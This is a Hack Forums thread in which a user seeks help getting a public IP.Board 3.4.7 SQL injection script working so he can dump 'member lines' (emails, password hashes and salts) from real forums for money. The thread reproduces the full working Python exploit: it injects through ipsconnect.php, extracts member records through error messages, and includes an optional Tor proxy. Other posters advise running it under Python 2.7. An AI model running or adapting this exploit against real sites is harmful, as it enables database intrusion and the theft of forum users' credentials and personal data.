

Forum:[Hack Forums](#)

Thread: [IPB.py script not working in python! 3.4.7 ipb](#)

Don Pablo - January 5, 2015, 10:10 am

Sup everyone ,

I try to get some line from a ipb 3.4.7 forum and i know it is injectable but i cant seem to get it working , i have the correct ipb.py file i think ,
and i use python 34 in windows , the ipb.py script is located inside the python34 directory...

i open cmd and run this command : cd c:\python34
than i run this command : ipb.py <http://ipbforum.com/forums/> 4 (not that forum just an example.)

and i get this error :

```
c:\Python34>ipb.py http://ipbforum.com/forums/ 4
```

```
File "C:\Python34\ipb.py", line 22
```

```
except urllib2.HTTPError, e:
```

```
      ^
```

```
SyntaxError: invalid syntax
```

```
c:\Python34>
```

Anyone that could help me? would be awesome! thanks in advance !

anyone that could help me? i want to get some memberlines , if anyone could explain me how to do this , i can make alot of \$\$ with this and will share with whoever helped me!

Nitai - January 5, 2015, 11:24 am

I advice you to learn python in your own, it's the best help you'll ever have.

Misha the unfortunate - January 5, 2015, 11:26 am

inb4 using my fucking script.

Try running it with python 2.7

Don Pablo - January 5, 2015, 11:31 am

worked in 2.7 but now getting this error :

```
raise URLError(err)
```

```
urllib2.URLError: <urlopen error [Errno 11004] getaddrinfo failed>
```

How do i get lines from the forum? wich commands do i execute? could anyone help me? i need some member lines (hash/salt/etc..)

Person that helps me figuring this out via teamview / screenshare will be rewarded ;)

anyone? I can make loads of money with this and you will be greatly rewarded!

got this problem now

```
c:\Python27>ipb.py http://mylink.com/forums/ 4
```

Traceback (most recent call last):

```
File "C:\Python27\ipb.py", line 43, in <module>
    n = inject('SELECT COUNT(*) FROM members')
File "C:\Python27\ipb.py", line 21, in inject
    urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url,
l, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1') and !!="\" and
d extractvalue(1,concat(0x3a,(%s)))#\" % sql), headers={"User-agent": ua}))
File "C:\Python27\lib\urllib2.py", line 126, in urlopen
    return _opener.open(url, data, timeout)
File "C:\Python27\lib\urllib2.py", line 391, in open
    response = self._open(req, data)
File "C:\Python27\lib\urllib2.py", line 409, in _open
    '_open', req)
File "C:\Python27\lib\urllib2.py", line 369, in _call_chain
    result = func(*args)
File "C:\Python27\lib\urllib2.py", line 1173, in http_open
    return self.do_open(httplib.HTTPConnection, req)
File "C:\Python27\lib\urllib2.py", line 1148, in do_open
    raise URLError(err)
urllib2.URLError: <urlopen error [Errno 11001] getaddrinfo failed>
```

```
c:\Python27>
```

Im gone brah - January 5, 2015, 1:25 pm

Please post the whole script inside a code tag.

Don Pablo - January 6, 2015, 6:52 am

(Jan 5, 2015 02:25 PM)Zayne Wrote: [CITE](#) Please post the whole script inside a code tag.

PHP Code

```
<?php
```

```
#!/usr/bin/env python
```

```
# Sunday, November 09, 2014 - secthrowaway () safe-mail net
```

```
# IP.Board <= 3.4.7 SQLi (blind, error based);
```

```
# you can adapt to other types of blind injection if 'cache/sql_error_latest.cgi' is unreadable
```

```
url = 'http://target.tld/forum/'
```

```
ua =
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.15
99.17 Safari/537.36"
```

```
import sys, re
```

```
# <socks> - http://sourceforge.net/projects/socksipy/
```

```
#import socks, socket
```

```
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
```

```
#socket.socket = socks.socksocket
```

```
# </socks>
```

```

import urllib2, urllib

def inject(sql):
    try:
        urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data=
"act=login&idType=id&id[]=-1&id[]={%s}" % urllib.quote(
'-1) and 1!="\" and extractvalue(1,concat(0x3a,(%s)))#\" % sql), headers={"User-agent": ua}))
    except urllib2.HTTPError, e:
        if e.code == 503:
            data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={
"User-agent": ua})).read()
            txt = re.search("XPath syntax error: ':(.*)'", data, re.MULTILINE)
            if txt is not None:
                return txt.group(1)
            sys.exit('Error [3], received unexpected data:\n%s' % data)
        sys.exit('Error [1]')
    sys.exit('Error [2]')

def get(name, table, num):
    sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
    s = int(inject('LENGTH((%s))' % sqli))
    if s < 31:
        return inject(sqli)
    else:
        r = ""
        for i in range(1, s+1, 31):
            r += inject('SUBSTRING((%s), %i, %i)' % (sqli, i, 31))
        return r

n = inject('SELECT COUNT(*) FROM members')
print '* Found %s users' % n
for j in range(int(n)):
    print get('member_id', 'members', j)
    print get('name', 'members', j)
    print get('email', 'members', j)
    print get('CONCAT(members_pass_hash, 0x3a, members_pass_salt)', 'members', j)
    print '-----'

```

hahdbwoannniabs - January 7, 2015, 6:33 am

Are people really so reliant on other people's exploits that they make fucking threads because the exploit won't work? Jesus, learn to fix it on your own for fuck sake.